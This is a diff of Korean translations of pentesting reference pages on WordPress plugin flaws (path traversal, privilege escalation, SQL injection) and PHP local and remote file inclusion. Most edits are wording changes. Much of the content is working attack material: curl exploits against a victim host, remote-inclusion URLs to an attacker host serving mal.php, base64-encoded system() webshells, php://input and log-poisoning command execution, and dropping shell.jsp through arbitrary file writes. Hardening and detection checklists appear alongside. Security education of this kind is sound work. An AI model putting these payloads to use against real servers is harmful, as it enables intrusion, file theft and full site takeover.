* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
|
||||
* **경로 정제 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
@ -411,7 +411,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
```
|
||||
`wp-config.php` 파일이 *uploads* 외부에 위치하기 때문에 기본 설치에서는 네 개의 `../` 시퀀스만으로 충분합니다. `wp-config.php`를 삭제하면 다음 방문 시 WordPress가 *설치 마법사*로 강제 전환되어 전체 사이트를 장악할 수 있습니다(공격자는 단순히 새로운 DB 구성을 제공하고 관리자 사용자를 생성합니다).
|
||||
|
||||
다른 영향력 있는 타겟으로는 보안 플러그인을 무력화하기 위한 플러그인/테마 `.php` 파일이나 `.htaccess` 규칙이 있습니다.
|
||||
다른 영향력 있는 타겟으로는 보안 플러그인을 무력화하기 위한 플러그인/테마의 `.php` 파일이나 `.htaccess` 규칙이 있습니다.
|
||||
|
||||
#### 탐지 체크리스트
|
||||
|
||||
@ -448,7 +448,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
많은 플러그인이 원래 역할을 사용자 메타에 저장하여 나중에 복원할 수 있도록 "역할로 보기" 또는 임시 역할 전환 기능을 구현합니다. 복원 경로가 요청 매개변수(예: `$_REQUEST['reset-for']`)와 플러그인 유지 관리 목록에만 의존하고 능력 및 유효한 논스를 확인하지 않으면, 이는 수직적 권한 상승이 됩니다.
|
||||
|
||||
실제 예시는 Admin and Site Enhancements (ASE) 플러그인(≤ 7.6.2.1)에서 발견되었습니다. 리셋 분기는 `reset-for=<username>`에 따라 역할을 복원했지만, 현재 역할을 제거하고 사용자 메타 `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 확인이나 논스 검증을 수행하지 않았습니다.
|
||||
실제 사례는 Admin and Site Enhancements (ASE) 플러그인(≤ 7.6.2.1)에서 발견되었습니다. 리셋 분기는 `reset-for=<username>`에 따라 역할을 복원했지만, 현재 역할을 제거하고 사용자 메타 `_asenha_view_admin_as_original_roles`에서 저장된 역할을 다시 추가하기 전에 `current_user_can()` 확인이나 논스 검증을 수행하지 않았습니다.
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -487,7 +487,7 @@ curl -s -k -b 'wordpress_logged_in=...' \
|
||||
|
||||
탐지 체크리스트
|
||||
|
||||
- 사용자 메타에 “원래 역할”을 유지하는 역할 전환 기능을 찾습니다(예: `_asenha_view_admin_as_original_roles`).
|
||||
- 사용자 메타에 “원래 역할”을 지속하는 역할 전환 기능을 찾습니다(예: `_asenha_view_admin_as_original_roles`).
|
||||
- 다음을 포함하는 재설정/복원 경로를 식별합니다:
|
||||
- `$_REQUEST` / `$_GET` / `$_POST`에서 사용자 이름을 읽습니다.
|
||||
- `current_user_can()` 및 `wp_verify_nonce()` / `check_admin_referer()` 없이 `add_role()` / `remove_role()`를 통해 역할을 수정합니다.
|
||||
@ -496,8 +496,8 @@ curl -s -k -b 'wordpress_logged_in=...' \
|
||||
강화
|
||||
|
||||
- 모든 상태 변경 분기에서 능력 검사를 시행합니다(예: `current_user_can('manage_options')` 또는 더 엄격하게).
|
||||
- 모든 역할/권한 변동에 대해 nonce를 요구하고 이를 검증합니다: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청에서 제공된 사용자 이름을 절대 신뢰하지 마십시오; 인증된 행위자와 명시적 정책을 기반으로 서버 측에서 대상 사용자를 해결합니다.
|
||||
- 모든 역할/권한 변형에 대해 nonce를 요구하고 이를 검증합니다: `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- 요청에서 제공된 사용자 이름을 신뢰하지 마십시오; 인증된 행위자와 명시적 정책을 기반으로 서버 측에서 대상 사용자를 해결합니다.
|
||||
- 프로필/역할 업데이트 시 “원래 역할” 상태를 무효화하여 오래된 높은 권한 복원을 방지합니다:
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
@ -550,7 +550,7 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
|
||||
1. **비위생적인 사용자 입력** – `parentid`는 HTTP 요청에서 직접 가져옵니다.
|
||||
2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 단축 코드 `[wpjobportal_my_resumes]`를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 이를 가져올 수 있습니다.
|
||||
|
||||
#### 악용
|
||||
|
||||
@ -571,7 +571,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
|
||||
### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2)
|
||||
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 **디스크의 모든 파일**을 경로 탐색을 통해 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다:
|
||||
또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치해 있습니다:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
|
@ -7,7 +7,7 @@
|
||||
**원격 파일 포함 (RFI):** 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). PHP에서는 기본적으로 **비활성화**되어 있습니다 (**allow_url_include**).\
|
||||
**로컬 파일 포함 (LFI):** 서버가 로컬 파일을 로드합니다.
|
||||
|
||||
취약점은 사용자가 서버에 의해 로드될 파일을 어떤 식으로든 제어할 수 있을 때 발생합니다.
|
||||
취약점은 사용자가 서버에 의해 로드될 파일을 어떤 방식으로든 제어할 수 있을 때 발생합니다.
|
||||
|
||||
취약한 **PHP 함수**: require, require_once, include, include_once
|
||||
|
||||
@ -90,7 +90,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
|
||||
2. **폴더 탐색:** 의심되는 폴더의 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 돌아갑니다. 추가 디렉토리 레벨은 깊이를 하나 증가시켜야 합니다:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
@ -111,7 +111,7 @@ PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 및 `/etc/passwd/`는 모두 동일한 경로로 처리됩니다.
|
||||
- 마지막 6자가 `passwd`일 때, `/`를 추가해도(`passwd/`) 타겟 파일은 변경되지 않습니다.
|
||||
- 마찬가지로, 파일 경로에 `.php`가 추가될 경우(`shellcode.php`와 같이), 끝에 `/.`을 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
- 마찬가지로, 파일 경로에 `.php`가 추가되면(`shellcode.php`와 같이), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않습니다.
|
||||
|
||||
제공된 예제는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 타겟입니다:
|
||||
```
|
||||
@ -126,14 +126,14 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
||||
이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.
|
||||
|
||||
- **점 세그먼트 및 추가 문자 사용**: 탐색 시퀀스(`../`)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
|
||||
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색한 다음 `/etc/passwd`로 가기 위해 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
|
||||
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리의 요구 사항을 충족하기 위해 사용됩니다.
|
||||
- **필요한 탐색 횟수 결정**: 시행착오를 통해 루트 디렉토리로 탐색하고 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: `.php`)은 중화되지만 원하는 경로(`/etc/passwd`)는 그대로 유지됩니다.
|
||||
- **가짜 디렉토리로 시작하기**: 존재하지 않는 디렉토리(예: `a/`)로 경로를 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리의 요구 사항을 충족하기 위해 사용됩니다.
|
||||
|
||||
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
|
||||
|
||||
**이 취약점은 PHP 5.3에서 수정되었습니다.**
|
||||
|
||||
### **필터 우회 기법**
|
||||
### **필터 우회 트릭**
|
||||
```
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
@ -143,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## 원격 파일 포함
|
||||
|
||||
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
|
||||
php에서는 기본적으로 **`allow_url_include`**가 **꺼져** 있기 때문에 비활성화되어 있습니다. 작동하려면 **켜져** 있어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
만약 어떤 이유로 **`allow_url_include`**가 **On** 상태이지만 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)에 따르면, 예를 들어 base64로 인코딩된 PHP 코드를 디코드하기 위해 데이터 프로토콜을 사용할 수 있으며, 이를 통해 RCE를 얻을 수 있습니다:
|
||||
어떤 이유로 **`allow_url_include`**가 **On**인 경우, 그러나 PHP가 외부 웹페이지에 대한 접근을 **필터링**하고 있다면, [이 게시물에 따르면](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
@ -161,23 +161,23 @@ data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9
|
||||
```
|
||||
## Python Root element
|
||||
|
||||
파이썬에서 다음과 같은 코드에서:
|
||||
In python in a code like this one:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로가 제거됩니다**:
|
||||
사용자가 **`file_name`**에 **절대 경로**를 전달하면, **이전 경로는 단순히 제거됩니다**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
다음은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
이것은 [문서](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
|
||||
|
||||
> 구성 요소가 절대 경로인 경우, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서 계속 결합됩니다.
|
||||
|
||||
## Java 디렉토리 목록
|
||||
|
||||
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청하면** **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않을 것입니다(내가 아는 한).
|
||||
Java에서 경로 탐색(Path Traversal)이 있는 경우 **파일 대신 디렉토리를 요청**하면 **디렉토리 목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않을 것입니다(내가 아는 한).
|
||||
|
||||
## 상위 25개 매개변수
|
||||
|
||||
@ -226,10 +226,10 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). **지원되는 모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
|
||||
|
||||
> [!WARNING]
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 기능을 만들 때 유용할 수 있습니다. 더 많은 정보는 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
|
||||
> `convert.iconv.*` 변환 필터를 남용하면 **임의의 텍스트를 생성**할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스에서 임의의 텍스트를 처리하는 함수와 같은 기능을 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
|
||||
@ -240,7 +240,7 @@ PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 **수정 작업
|
||||
- Other Filters
|
||||
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
|
||||
- `consumed`
|
||||
- `dechunk`: HTTP 청크 인코딩을 역전환합니다.
|
||||
- `dechunk`: HTTP 청크 인코딩을 역전시킵니다.
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -273,21 +273,21 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### php 필터를 오라클로 사용하여 임의 파일 읽기
|
||||
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안됩니다. 이 기술은 **php 필터를 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
[**이 게시물**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle)에서는 서버로부터 반환된 출력 없이 로컬 파일을 읽는 기술이 제안됩니다. 이 기술은 **php 필터를 오라클로 사용하여 파일을 불리언 방식으로(문자별로) 유출하는 것**에 기반합니다. 이는 php 필터를 사용하여 텍스트를 충분히 크게 만들어 php가 예외를 발생시키도록 할 수 있기 때문입니다.
|
||||
|
||||
원래 게시물에서는 기술에 대한 자세한 설명을 찾을 수 있지만, 여기 간단한 요약이 있습니다:
|
||||
|
||||
- **`UCS-4LE`** 코덱을 사용하여 텍스트의 선행 문자를 시작 부분에 남기고 문자열의 크기를 기하급수적으로 증가시킵니다.
|
||||
- 이는 **초기 문자가 올바르게 추측되었을 때 텍스트가 너무 커지도록** 생성하는 데 사용됩니다. 그러면 php가 **오류**를 발생시킵니다.
|
||||
- **dechunk** 필터는 **첫 번째 문자가 16진수가 아닐 경우 모든 것을 제거**하므로 첫 번째 문자가 16진수인지 알 수 있습니다.
|
||||
- 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수인 경우 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
|
||||
- **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 됩니다. 따라서 dechunk는 삭제하지 않으며 php 오류가 발생합니다.
|
||||
- 이것은 이전의 것과 결합되어(추측된 문자에 따라 다른 필터도 사용됨) 텍스트의 시작 부분에서 문자를 추측할 수 있게 해줍니다. 충분한 변환을 수행하여 16진수 문자가 아니게 만들 때를 확인합니다. 16진수라면 dechunk는 삭제하지 않으며 초기 폭탄이 php 오류를 발생시킵니다.
|
||||
- **convert.iconv.UNICODE.CP930** 코덱은 모든 문자를 다음 문자로 변환합니다(따라서 이 코덱 이후: a -> b). 이를 통해 첫 번째 문자가 `a`인지 발견할 수 있습니다. 예를 들어, 이 코덱을 6번 적용하면 a->b->c->d->e->f->g가 되어 문자가 더 이상 16진수 문자가 아니게 되므로 dechunk는 삭제하지 않고 php 오류가 발생합니다.
|
||||
- **rot13**과 같은 다른 변환을 시작 부분에 사용하면 n, o, p, q, r과 같은 다른 문자를 유출할 수 있습니다(다른 코덱을 사용하여 다른 문자를 16진수 범위로 이동할 수 있습니다).
|
||||
- 초기 문자가 숫자일 경우 base64로 인코딩하고 숫자를 유출하기 위해 처음 두 문자를 유출해야 합니다.
|
||||
- 초기 문자가 숫자일 경우 base64로 인코딩하고 처음 두 문자를 유출하여 숫자를 유출해야 합니다.
|
||||
- 최종 문제는 **초기 문자 이상을 유출하는 방법**을 보는 것입니다. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**와 같은 순서 메모리 필터를 사용하면 문자의 순서를 변경하고 텍스트의 첫 번째 위치에 다른 문자를 가져올 수 있습니다.
|
||||
- 추가 데이터를 얻기 위해서는 **초기 부분에 2바이트의 쓰레기 데이터를 생성**하는 아이디어가 필요합니다. **convert.iconv.UTF16.UTF16**을 적용하고 **UCS-4LE**를 사용하여 **다음 2바이트와 피벗**을 만들고, **쓰레기 데이터까지 데이터를 삭제**합니다(이것은 초기 텍스트의 처음 2바이트를 제거합니다). 원하는 비트에 도달할 때까지 계속 진행합니다.
|
||||
|
||||
게시물에서는 이를 자동으로 수행할 수 있는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
게시물에서는 이를 자동으로 수행하는 도구도 유출되었습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -300,7 +300,7 @@ $myfile = fopen("/etc/passwd", "r");
|
||||
|
||||
### zip:// 및 rar://
|
||||
|
||||
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하세요.\
|
||||
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하십시오.\
|
||||
rar 프로토콜을 악용할 수 있으려면 **특별히 활성화되어야** 합니다.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 조각은 `.phar` 파일을 생성하는 방법을 보여줍니다:
|
||||
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include`와 같은 함수를 사용할 때 PHP 코드를 실행하는 데 활용될 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일의 생성을 보여줍니다:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
@ -376,7 +376,7 @@ phar-deserialization.md
|
||||
|
||||
### More protocols
|
||||
|
||||
여기에서 포함할 수 있는 더 많은 [**프로토콜**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
여기에서 포함할 수 있는 더 많은 [**프로토콜을 확인하십시오**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||
|
||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리 또는 임시 파일에 쓰기 (파일 포함 공격에서 어떻게 유용할 수 있는지 확실하지 않음)
|
||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
|
||||
@ -385,7 +385,7 @@ phar-deserialization.md
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴과 일치하는 경로 이름 찾기 (인쇄 가능한 것을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일 읽기에 유용하지 않음)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데 유용하지 않음)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
@ -395,7 +395,7 @@ PHP의 'assert' 함수는 문자열 내에서 코드를 실행할 수 있어 Loc
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
이것은 탐색을 방지하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
|
||||
이것은 탐색을 중지하는 것을 목표로 하지만, 의도치 않게 코드 주입을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려는 공격자는 다음을 사용할 수 있습니다:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -410,7 +410,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
> [!WARNING]
|
||||
> 이 기술은 **PHP 함수**의 **파일 경로**를 **제어**할 수 있는 경우에 관련이 있으며, 이 함수는 **파일에 접근**하지만 파일의 내용을 볼 수는 없습니다(예: **`file()`**에 대한 간단한 호출처럼) 내용이 표시되지 않습니다.
|
||||
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**이 설명되어 있습니다.
|
||||
[**이 놀라운 게시물**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)에서는 블라인드 경로 탐색이 PHP 필터를 통해 **오류 오라클을 통해 파일의 내용을 유출하는 방법**에 대해 설명합니다.
|
||||
|
||||
요약하자면, 이 기술은 **"UCS-4LE" 인코딩**을 사용하여 파일의 내용을 **너무 크게** 만들어 **파일을 여는 PHP 함수**가 **오류**를 발생시키도록 합니다.
|
||||
|
||||
@ -427,7 +427,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
서버 측 코드가 파일을 수집/업로드할 때 사용자 제어 데이터를 사용하여 목적지 경로를 생성하고 이를 정규화하거나 검증하지 않으면 `..` 세그먼트와 절대 경로가 의도된 디렉토리를 벗어나 임의 파일 쓰기를 유발할 수 있습니다. 웹에 노출된 디렉토리 아래에 페이로드를 배치할 수 있다면, 일반적으로 웹쉘을 떨어뜨려 인증되지 않은 RCE를 얻습니다.
|
||||
|
||||
전형적인 악용 워크플로우:
|
||||
- 경로/파일 이름을 수락하고 내용을 디스크에 쓰는 엔드포인트 또는 백그라운드 작업에서 쓰기 원시 작업을 식별합니다(예: 메시지 기반 수집, XML/JSON 명령 처리기, ZIP 추출기 등).
|
||||
- 경로/파일 이름을 수락하고 디스크에 내용을 쓰는 엔드포인트 또는 백그라운드 작업에서 쓰기 원시 기능을 식별합니다(예: 메시지 기반 수집, XML/JSON 명령 처리기, ZIP 추출기 등).
|
||||
- 웹에 노출된 디렉토리를 결정합니다. 일반적인 예:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → `shell.jsp` 배포
|
||||
@ -439,7 +439,7 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
- 쓰기를 수행하는 취약한 서비스는 비HTTP 포트에서 수신할 수 있습니다(예: TCP 4004에서 JMF XML 리스너). 나중에 주요 웹 포털(다른 포트)이 페이로드를 제공합니다.
|
||||
- Java 스택에서는 이러한 파일 쓰기가 종종 간단한 `File`/`Paths` 연결로 구현됩니다. 정규화/허용 목록 부족이 핵심 결함입니다.
|
||||
|
||||
일반적인 XML/JMF 스타일 예제(제품 스키마는 다를 수 있으며 – DOCTYPE/본문 래퍼는 탐색에 무관합니다):
|
||||
일반적인 XML/JMF 스타일 예제(제품 스키마는 다를 수 있으며, DOCTYPE/본문 래퍼는 탐색에 무관합니다):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -464,7 +464,7 @@ in.transferTo(out);
|
||||
</JMF>
|
||||
```
|
||||
이 버그 클래스를 무력화하는 강화 방법:
|
||||
- 정규 경로로 해결하고 허용 목록에 있는 기본 디렉토리의 하위 디렉토리인지 확인합니다.
|
||||
- 정규 경로로 해결하고 허용 목록에 있는 기본 디렉토리의 하위 경로인지 확인합니다.
|
||||
- `..`, 절대 루트 또는 드라이브 문자가 포함된 경로를 거부하고 생성된 파일 이름을 선호합니다.
|
||||
- 작성자를 낮은 권한의 계정으로 실행하고 쓰기 디렉토리를 제공된 루트와 분리합니다.
|
||||
|
||||
@ -474,12 +474,12 @@ in.transferTo(out);
|
||||
|
||||
### Apache/Nginx 로그 파일을 통한 접근
|
||||
|
||||
Apache 또는 Nginx 서버가 포함 함수 내에서 **LFI에 취약하다면**, **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있습니다. **user agent** 또는 **GET 매개변수** 내에 **`<?php system($_GET['c']); ?>`**와 같은 php 쉘을 설정하고 해당 파일을 포함합니다.
|
||||
Apache 또는 Nginx 서버가 포함 함수 내에서 **LFI에 취약**하다면 **`/var/log/apache2/access.log` 또는 `/var/log/nginx/access.log`**에 접근을 시도할 수 있습니다. **user agent** 또는 **GET 매개변수** 내에 php 쉘인 **`<?php system($_GET['c']); ?>`**를 설정하고 해당 파일을 포함합니다.
|
||||
|
||||
> [!WARNING]
|
||||
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면, 이중 인용부호가 "_**quote;**_" 문자열로 수정되므로, **PHP는 오류를 발생시키고** **다른 것은 실행되지 않습니다**.
|
||||
> 쉘에 대해 **단일 인용부호** 대신 **이중 인용부호**를 사용하면 이중 인용부호가 "_**quote;**_" 문자열로 수정되며, **PHP는 오류를 발생시킵니다**. 그리고 **다른 것은 실행되지 않습니다**.
|
||||
>
|
||||
> 또한, **페이로드를 올바르게 작성**해야 하며, 그렇지 않으면 PHP가 로그 파일을 로드하려고 할 때마다 오류가 발생하고 두 번째 기회를 얻지 못합니다.
|
||||
> 또한, **페이로드를 올바르게 작성**해야 하며, 그렇지 않으면 PHP는 로그 파일을 로드할 때마다 오류를 발생시키고 두 번째 기회를 갖지 못할 것입니다.
|
||||
|
||||
이 작업은 다른 로그에서도 수행할 수 있지만 **주의하세요.** 로그 내의 코드는 URL 인코딩될 수 있으며, 이는 쉘을 파괴할 수 있습니다. 헤더 **authorisation "basic"**는 Base64로 "user:password"를 포함하고 있으며, 로그 내에서 디코딩됩니다. PHPShell은 이 헤더 내에 삽입될 수 있습니다.\
|
||||
다른 가능한 로그 경로:
|
||||
